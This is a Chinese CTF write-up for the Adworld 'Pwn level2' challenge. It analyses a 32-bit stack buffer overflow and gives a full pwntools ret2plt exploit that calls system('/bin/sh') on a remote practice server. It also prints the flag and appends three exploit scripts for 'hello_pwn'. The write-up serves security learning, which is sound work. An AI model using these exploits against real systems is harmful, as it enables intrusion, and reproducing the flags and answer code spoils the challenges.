攻防世界 Pwn level2

博客详细分析了一个32位程序的溢出漏洞,通过checksec发现了 Partial RELRO 和缺乏 canary 与 PIE 的保护。ida32分析显示,存在一个read函数可能导致缓冲区溢出,且plt表中包含system函数。利用思路是通过构造payload利用read函数改变rbp下的ret地址,执行system并控制参数来运行'/bin/sh'。最终编写了exploit代码成功获取flag。

1.file 和 checksec 先走一遍

在这里插入图片描述

  • 是一个32位的文件
  • 看到 RELRO的状态是 Partial
  • 没有canary也没有pie
  • 直接静态调试一下即可

2.放进IDA32看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
  • 有一个system函数
  • 进入vulnerable_function看一下
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}
  • read函数允许最大输入是0x100,数量足够大,所以buf可以溢出
  • 看看buf的溢出大小
-00000088
-00000088 buf             db 136 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables
  • 136byte的buf再加上4byte的数据溢出返回system的地址
  • 本题开始前就提示我们用ROP
  • 看一下plt表
.plt:08048320 ; Attributes: thunk
.plt:08048320
.plt:08048320 ; int system(const char *command)
.plt:08048320 _system         proc near               ; CODE XREF: vulnerable_function+11↓p
.plt:08048320                                         ; main+1E↓p
.plt:08048320
  • 看到了plt中有system
  • 我们写exp时直接用 elf.plt()函数即可

3.利用思路

  • 利用read函数修改rbp下的ret地址执行system
  • 并且我们要控制程序执行 “/bin/sh”
  • 这个时候要学一下32位程序传参
+--------+------------------+
|  rbp   |    rbp_addr      |  <----------栈底指针     
+--------+------------------+
|  rip   |    rip_addr      |  <----------函数执行完之后将要返回的地址
+--------+------------------+
| argv1  |    argv1_addr    |  <----------参数1
+--------+------------------+
| argv2  |    argv2_addr    |  <----------参数2
+--------+------------------+
|  ···   |        ···       |  <----------参数N
  • 这个是栈上执行完被调用函数返回的过程
  • 但是我们利用这个思路构造rop时要注意我们不是使用的call命令执行危险函数
  • 所以并不会帮我们自动分配危险函数的返回地址
  • 因此当我们调用system@plt时
  • 按照汇编的执行顺序
  • 现在参数1的位置会变成危险函数的返回地址
  • 参数二的位置才是危险函数的第一个参数
  • 因此我们构造的时候要把这个危险函数的返回地址填上垃圾数据覆盖掉

4.编写exp

先构造paylod

system_plt = elf.plt["system"]
bin_sh     = next(elf.search(b"/bin/sh"))

payload = b'a' * (0x88 + 4)
payload = payload + p32(system_plt)
payload = payload + b'a' * 4
payload = payload + p32(bin_sh)

看一下exp

from pwn import *

elf = ELF("./level2")
p = remote("111.200.241.244" , 64128)
#p = process("./level2")

system_plt = elf.plt["system"]
bin_sh     = next(elf.search(b"/bin/sh"))
payload = b'a' * ( 0x88 +4)            # 覆盖的垃圾数据
payload = payload + p32(system_plt)    # system的地址
payload = payload + b'a'*4             # system的返回地址
payload = payload + p32(bin_sh)

p.recvline("Input:")
p.sendline(payload)

p.interactive()

运行一下
在这里插入图片描述
直接cat flag

cat flag

在这里插入图片描述
得到flag

cyberpeace{2e8cd94fcdd38cd0eebd6da2236c90ee}

4.题目下载地址

点击下载

攻防世界pwn题hello pwn有多份解题代码可作为答案参考: - 代码一: ```python from pwn import * # io = process("./hello_pwn") io = remote("111.200.241.244",65258) io.recvuntil("lets get helloworld for bof") #unk_601068与dword_60106C之间有4字节的空间,所以使用4个A填充 #随后使用预期数据1853186401覆盖dword_60106C payload = b'A' * 4 + p64(1853186401) io.sendline(payload) io.interactive() ``` 此代码中,先建立远程连接,等待特定提示信息,构造包含填充字符和预期数据的`payload`,发送`payload`后进入交互模式 [^2]。 - 代码二: ```python from pwn import * context(os='linux', arch="amd64", log_level="debug") os = remote('61.147.171.105',61286) os.recvuntil('lets get helloworld for bof\n') payload = b'a'*(0x6c-0x68) + p64(1853186401) os.sendline(payload) os.interactive() ``` 该代码先设置上下文信息,建立远程连接,等待特定提示信息,根据内存地址差值构造`payload`,发送`payload`后进入交互模式 [^3]。 - 代码三: ```python from pwn import* p = remote('61.147.171.105',53737) # 将字符串转换为字节对象 str_bytes = 'a'*4 # 构造payload payload = str_bytes.encode() + p64(1853186401) p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive() ``` 代码从`pwn`库导入所有功能,创建远程连接对象,构造包含4个`a`的字符串并转换为字节对象,与预期数据拼接成`payload`,等待特定提示信息后发送`payload`,最后进入交互模式 [^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值